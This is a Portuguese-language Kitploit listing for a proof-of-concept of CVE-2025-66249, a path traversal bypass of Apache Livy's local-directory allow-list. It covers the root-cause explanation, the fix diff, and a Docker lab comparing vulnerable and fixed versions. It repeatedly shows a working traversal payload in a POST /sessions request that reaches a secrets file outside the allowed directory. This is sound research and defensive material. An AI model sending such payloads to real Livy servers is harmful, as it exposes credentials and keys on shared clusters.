Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-66249-POC — Um POC para a vulnerabilidade de bypass de lista de permissões de path traversal do Apache Livy | Kitploit
Ferramentas/GitHubGitHub/sid6224/cve-2025-66249-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubsid6224/cve-2025-66249-poc

CVE-2025-66249-POC

Um POC para a vulnerabilidade de bypass de lista de permissões de path traversal do Apache Livy

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-66249 — Bypass da Lista de Permissões de Path Traversal no Apache Livy

CVE Livy Severity CWE Type License Platform Language

Apenas para fins educacionais e de pesquisa em segurança. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar. → Aviso Legal Completo


Visão Geral


Descrição da Vulnerabilidade

Um usuário autenticado com acesso à interface REST ou JDBC do Livy pode enviar uma sessão Spark ou um job em lote com um valor de configuração de caminho de arquivo manipulado que escapa à lista de permissões de diretório.

Causa raiz — Bypass de path traversal na verificação da lista de permissões (Session.scala)

Quando livy.file.local-dir-whitelist está configurado, o Livy 0.8.0 valida os caminhos submetidos chamando String.startsWith() do Java no caminho bruto, não normalizado. Essa verificação pode ser contornada usando sequências de traversal ../:

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt

A string bruta começa com /opt/safe-data, então a verificação passa — mas o caminho resolve para /opt/sensitive/secret.txt, que está completamente fora do diretório permitido.

Condição de ativação: A vulnerabilidade só pode ser explorada quando livy.file.local-dir-whitelist está definido com um valor não padrão (não vazio). Se a lista de permissões estiver vazia (o padrão), a validação de caminho é ignorada completamente e o problema não é acionado.

Impacto: Um atacante que envia uma sessão via API REST do Livy pode referenciar arquivos locais arbitrários no servidor Livy. Em um cluster de análise compartilhado, isso se traduz em potencial exposição de credenciais, chaves, arquivos de configuração ou qualquer dado legível pelo usuário do processo Livy.


Arquivos de Código-Fonte Afetados

Arquivo — Session.scala

Vulnerável (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Corrigido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala


Código Fonte — Comandos de Clonagem

Ambas as versões foram clonadas diretamente do repositório oficial do Apache Livy no GitHub usando os seguintes comandos exatos:

Repositório: https://github.com/apache/incubator-livy

root@kitploit:~
# Versão vulnerável — clonada em ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.8.0

# Versão corrigida — clonada em ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
    https://github.com/apache/incubator-livy \
    livy-0.9.0
Versão

Diffs Exatos do Código

Correção — Session.scala: Paths.get().normalize() antes da verificação da lista de permissões

root@kitploit:~
 import java.io.InputStream
 import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
 import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
 import java.util.UUID

 ...

     if (resolved.getScheme() == "file") {
       // Make sure the location is whitelisted before allowing local files to be added.
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }

Impacto no v0.8.0: A verificação startsWith da string bruta pode ser contornada com um payload de path traversal.

Exemplo: se livy.file.local-dir-whitelist = /opt/safe-data

root@kitploit:~
/opt/safe-data/../sensitive/secret.txt
  • v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (contornado)
  • v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (bloqueado)

Os diffs foram produzidos clonando ambas as tags localmente (veja acima) e executando:

root@kitploit:~
diff -u \
    livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
    livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Resumo do Vetor de Ataque

root@kitploit:~
Atacante (usuário REST/JDBC autenticado)
    │
    ▼
POST /sessions
{
  "conf": {
    "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
    ← caminho começa com prefixo permitido — String.startsWith() passa
    ← mas resolve FORA do diretório via traversal ../
  }
}
    │
    ▼
Livy 0.8.0 — verificação da lista de permissões contornada (startsWith bruto, sem normalização)
    │
    ▼
Spark lê o arquivo e o distribui aos executores
    │
    ▼
Atacante recupera o conteúdo do arquivo via saída do job / logs

Ambiente de Teste

Todas as etapas deste PoC foram executadas e validadas no seguinte sistema:


Estrutura de Diretórios

root@kitploit:~
CVE-2025-66249-POC/
├── docker/
│   ├── fixed/
│   │   ├── Dockerfile
│   │   ├── livy.conf
│   │   └── start.sh
│   └── vulnerable/
│       ├── Dockerfile
│       ├── livy.conf
│       └── start.sh
├── test/
│   └── validate.sh
├── .gitignore
├── LICENSE
└── README.md

Prova de Conceito

Visão Geral

root@kitploit:~
docker/vulnerable/   →  imagem: cve-2025-66249-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  imagem: cve-2025-66249-fixed        (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  script único, executado sem alterações em ambos os ambientes

Sequência completa de ponta a ponta — siga os Passos 1 a 4 em ordem:

root@kitploit:~
Passo 1: Construir imagem vulnerável  →  iniciar container  →  verificar se Livy está ativo
Passo 2: Executar validate.sh         →  confirmar VULNERÁVEL (ataque HTTP 201)   →  parar container
Passo 3: Construir imagem corrigida   →  iniciar container  →  verificar se Livy está ativo
Passo 4: Executar validate.sh         →  confirmar CORRIGIDO  (ataque HTTP 400)   →  parar container

Nota: O Livy leva aproximadamente 15–20 segundos para ficar pronto após docker run. Todas as etapas abaixo incluem um sleep 20 explícito antes de qualquer chamada à API.


Passo 1 — Construir e iniciar o ambiente vulnerável (Livy 0.8.0 + Spark 3.1.3)

Arquivos:

  • docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
  • docker/vulnerable/livy.conf — escuta em 0.0.0.0:8998, modo local, lista de permissões = /opt/safe-data

1a. Construir a imagem:

root@kitploit:~
docker build -t cve-2025-66249-vulnerable docker/vulnerable/

Validar — imagem foi criada:

root@kitploit:~
docker images cve-2025-66249-vulnerable

Saída esperada:

root@kitploit:~
REPOSITORY                  TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-vulnerable   latest    <id>       <time>    <size>

1b. Iniciar o container:

root@kitploit:~
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable

Validar — container está em execução:

root@kitploit:~
docker ps --filter name=livy-vulnerable

Saída esperada:

root@kitploit:~
CONTAINER ID   IMAGE                       COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-vulnerable   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-vulnerable

1c. Aguardar o Livy iniciar e verificar a API REST:

O Livy requer ~15–20 segundos para inicializar antes de atender requisições.

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Saída esperada:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

1d. Validar a estrutura de diretórios dentro do container:

Confirmar que o arquivo seguro permitido existe:

root@kitploit:~
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Saída esperada:

root@kitploit:~
This file lives inside the whitelisted directory.

Confirmar que o arquivo sensível existe fora da lista de permissões:

root@kitploit:~
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Saída esperada:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Passo 2 — Executar validação contra o ambiente vulnerável

O container vulnerável do Passo 1 deve ainda estar em execução na porta 8998.

O que test/validate.sh testa:

#AtaqueChave do payloadResultado esperado no Livy 0.8.0
1Path traversal via String.startsWith() no Session.scalaspark.jars com traversal ../HTTP 201 — traversal contorna a lista de permissões

2a. Executar o script:

root@kitploit:~
bash test/validate.sh

Nota: validate.sh funciona da seguinte forma:

  1. Ele faz polling de GET /sessions até que o Livy responda (até 60 segundos), confirmando que o servidor está pronto.
  2. Ele envia uma requisição POST /sessions via curl com um payload conf manipulado direcionado a um arquivo fora da lista de permissões (/opt/sensitive/secret.txt) usando traversal ../.
  3. Ele lê o código de resposta HTTP: 201 significa que o Livy aceitou o caminho sem normalização (vulnerável); 400 significa que o Livy o rejeitou após normalização (corrigido).
  4. Se uma sessão foi criada (HTTP 201), o script imediatamente a exclui via DELETE /sessions/{id} para manter o servidor limpo.
  5. Após o teste, imprime um resumo e sai com código 1 (vulnerável) ou 0 (corrigido), tornando-o adequado para uso em pipelines automatizados.

Saída esperada:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201
RESPONSE  : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
             Path was NOT normalised — traversal bypasses whitelist check.

RESULT: VULNERABLE — exit code 1

2b. Parar e remover o container vulnerável:

root@kitploit:~
docker stop livy-vulnerable && docker rm livy-vulnerable

Validar — container foi completamente removido:

root@kitploit:~
docker ps -a --filter name=livy-vulnerable

Saída esperada (vazia — sem linhas):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Passo 3 — Construir e iniciar o ambiente corrigido (Livy 0.9.0 + Spark 3.1.3)

Arquivos:

  • docker/fixed/Dockerfile — mesma imagem base e Spark 3.1.3, apenas a versão do Livy muda para 0.9.0-incubating
  • docker/fixed/livy.conf — idêntico ao docker/vulnerable/livy.conf (mesma lista de permissões, porta, modo)

Manter Spark, imagem base e toda a configuração idênticas ao Passo 1 isola o Livy como a única variável.

3a. Construir a imagem:

root@kitploit:~
docker build -t cve-2025-66249-fixed docker/fixed/

Validar — imagem foi criada:

root@kitploit:~
docker images cve-2025-66249-fixed

Saída esperada:

root@kitploit:~
REPOSITORY             TAG       IMAGE ID   CREATED   SIZE
cve-2025-66249-fixed   latest    <id>       <time>    <size>

3b. Iniciar o container:

root@kitploit:~
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed

Validar — container está em execução:

root@kitploit:~
docker ps --filter name=livy-fixed

Saída esperada:

root@kitploit:~
CONTAINER ID   IMAGE                  COMMAND                  CREATED        STATUS         PORTS                                           NAMES
<id>           cve-2025-66249-fixed   "/__cacert_entrypoin…"   <time> ago     Up X seconds   0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp     livy-fixed

3c. Aguardar o Livy iniciar e verificar a API REST:

root@kitploit:~
sleep 20
curl -s http://localhost:8998/sessions

Saída esperada:

root@kitploit:~
{"from":0,"total":0,"sessions":[]}

3d. Validar a estrutura de diretórios dentro do container:

O container corrigido usa os mesmos fixtures do vulnerável — isso confirma que a única variável entre os dois ambientes é a versão do Livy.

Confirmar que o arquivo seguro permitido existe:

root@kitploit:~
docker exec livy-fixed cat /opt/safe-data/safe.txt

Saída esperada:

root@kitploit:~
This file lives inside the whitelisted directory.

Confirmar que o arquivo sensível existe fora da lista de permissões:

root@kitploit:~
docker exec livy-fixed cat /opt/sensitive/secret.txt

Saída esperada:

root@kitploit:~
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!

Passo 4 — Executar a mesma validação contra o ambiente corrigido

O container corrigido do Passo 3 deve estar em execução na porta 8998. O script é idêntico — sem alterações.

O que muda entre o Passo 2 e o Passo 4:

  • Mesmo payload, mesmo script
  • O Livy 0.9.0 agora normaliza os caminhos com Paths.get().normalize() antes da verificação da lista de permissões
  • O ataque é rejeitado com HTTP 400 antes de uma sessão ser criada

4a. Executar o script:

root@kitploit:~
bash test/validate.sh

Saída esperada:

root@kitploit:~
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.

TEST      : Path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path normalisation blocked the traversal.

RESULT: FIXED — exit code 0

O que a mensagem de erro confirma:

AtaqueHTTPMensagem de erroCausa raiz corrigida
Path traversal via spark.jars400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.

4b. Parar e remover o container corrigido:

root@kitploit:~
docker stop livy-fixed && docker rm livy-fixed

Validar — container foi completamente removido:

root@kitploit:~
docker ps -a --filter name=livy-fixed

Saída esperada (vazia — sem linhas):

root@kitploit:~
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Conclusão

O CVE-2025-66249 é uma falha lógica única e direcionada na aplicação da lista de permissões que protege o caminho de acesso ao sistema de arquivos local do Livy.

A lista de permissões (livy.file.local-dir-whitelist) existia em todas as versões afetadas e estava configurada corretamente. A falha estava em como a lista de permissões era avaliada:

Bypass de path traversal (a única fraqueza): A comparação da lista de permissões em Session.scala usava String.startsWith() do Java na string de caminho bruta. Isso é insuficiente para comparações de caminhos de sistema de arquivos porque não leva em conta segmentos de traversal ... Um caminho como /opt/safe-data/../sensitive/secret.txt satisfaz a verificação de string contra a entrada da lista de permissões /opt/safe-data, mas resolve para um local completamente fora dela.

A correção na versão 0.9.0 é mínima e direcionada: uma chamada a Paths.get().normalize() é adicionada antes da comparação com a lista de permissões. Isso resolve todos os segmentos .. antes que a verificação startsWith seja executada, de modo que o payload de traversal é corretamente identificado como apontando para fora do diretório permitido.

Principais conclusões para defensores: A vulnerabilidade só é explorável quando livy.file.local-dir-whitelist é definido com um valor não vazio. Embora isso signifique que a configuração padrão não seja diretamente vulnerável, qualquer implantação que tenha restringido a lista de permissões (ou seja, que tenha explicitamente limitado quais diretórios o Livy pode acessar) é paradoxalmente a que está exposta — porque é a presença da lista de permissões que ativa o caminho de código com falha. Atualizar para o Livy 0.9.0-incubating é a única correção completa.


Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
  • Divulgação OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/2
  • Lista de e-mail Apache: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
  • Projeto Apache Livy: https://livy.apache.org/

Agradecimentos

  • Hiroki Egawa — relator original do CVE-2025-66249 para a Equipe de Segurança Apache.
  • Mantenedores do Apache Livy — pela rápida triagem e correção direcionada na v0.9.0-incubating.
  • Equipe de Segurança Apache — por coordenar o processo de divulgação responsável.
  • Comunidade OSS-Sec — pelo tópico de divulgação pública que tornou possível a análise independente.

Contribuindo

Contribuições para melhorar este PoC ou a documentação são bem-vindas! Por favor, garanta que quaisquer contribuições:

  • Sigam práticas de divulgação responsável
  • Incluam os avisos apropriados
  • Não contenham código malicioso além da demonstração educacional
  • Mantenham o foco no valor educacional

Para contribuir, abra um pull request ou registre uma issue descrevendo a mudança proposta.


Licença

Este projeto está licenciado sob a Licença MIT.


Aviso Legal

Este repositório é apenas para fins educacionais e de pesquisa em segurança. A prova de conceito demonstra a mecânica da vulnerabilidade para auxiliar na compreensão e em medidas defensivas. Não utilize contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.


Tags

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security

Baixar ferramenta
CampoDetalhe
CVE IDCVE-2025-66249
GravidadeImportante (CVSS N/A — avaliação NVD pendente em 2026-03-15)
AfetadosApache Livy 0.3.0-incubating até 0.8.0-incubating — apenas quando livy.file.local-dir-whitelist é definido com um valor não padrão
Corrigido emApache Livy 0.9.0-incubating
CWECWE-22: Limitação Incorreta de um Nome de Caminho a um Diretório Restrito ('Path Traversal')
Divulgado2026-03-12 (OSS-Sec) / 2026-03-13 (NVD)
RelatorHiroki Egawa (descobridor)
Tag
Commit resolvido
Caminho local
0.8.0-incubatingv0.8.0-incubating78b512658e4baf1183f2b352203ada1928d8111a./livy-0.8.0/
0.9.0-incubatingv0.9.0-incubating7215f209b25b96488189567807eaded00953a492./livy-0.9.0/
ComponenteDetalhe
SO do HospedeiroUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Arquiteturax86_64
Memória Total15 GiB
Docker Engine28.2.2
JDK do HospedeiroOpenJDK 17.0.18 (usado apenas pelo hospedeiro — os containers usam eclipse-temurin:11-jdk-focal)
Imagem base do containereclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Versão do Spark (ambas imagens)3.1.3 com Hadoop 3.2
Versão do Livy — imagem vulnerável0.8.0-incubating
Versão do Livy — imagem corrigida0.9.0-incubating
Paths.get(...).normalize() adicionado em Session.scala; resolve ../ antes da comparação com a lista de permissões
string-startswith-bypass
path-normalisation